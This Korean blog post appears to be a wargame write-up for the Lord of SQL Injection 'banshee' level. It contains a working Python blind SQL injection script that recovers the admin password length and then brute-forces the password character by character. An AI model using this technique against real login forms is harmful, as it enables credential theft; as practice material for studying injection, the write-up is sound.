역시 SQLite 환경이다. 일반적인 Blind SQL Injection 인 것 같다. 예전에는 로그인에 성공하면 "Hello admin" 이라는 문자열을 출력했는데 이번에는 "login success!" 라는 문자열을 출력한다. 바로 exploit 코드를 짜도 좋을 것 같다.
import requests
requests.packages.urllib3.disable_warnings()
org_url = "https://los.rubiya.kr/chall/banshee_ece938c70ea2419a093bb0be9f01a7b1.php"
header = {'Cookie': 'PHPSESSID='}
session = requests.session()
# Check Length of PW
for i in range(0, 100):
payload = "?pw=' or id='admin' and length(pw)=" + str(i) + "--"
res = session.get(url = org_url + payload, headers=header, verify=False)
if "login success!" in res.text:
print("Length of PW is [ %d ]\n" % i)
break
# Brute Force
password = ''
for i in range(1, 9):
for j in range(33, 122):
payload = "?pw=' or id='admin' and substr(pw," + str(i) + ",1)=" + "'" + chr(j) + "'--"
res = session.get(url = org_url + payload, headers = header, verify=False)
if "login success!" in res.text:
password += chr(j)
print("Current PW is [ %s ]\n" % password)
break
# Result
print("\n\nPW --> %s\n" % password)
'Web Hacking > LOS' 카테고리의 다른 글
Lord of SQL Injection - cyclops (0) | 2021.10.03 |
---|---|
Lord of SQL Injection - chupacabra (0) | 2021.10.03 |
Lord of SQL Injection - manticore (0) | 2021.10.03 |
Lord of SQL Injection - godzilla (0) | 2021.10.03 |
Lord of SQL Injection - death (0) | 2021.10.02 |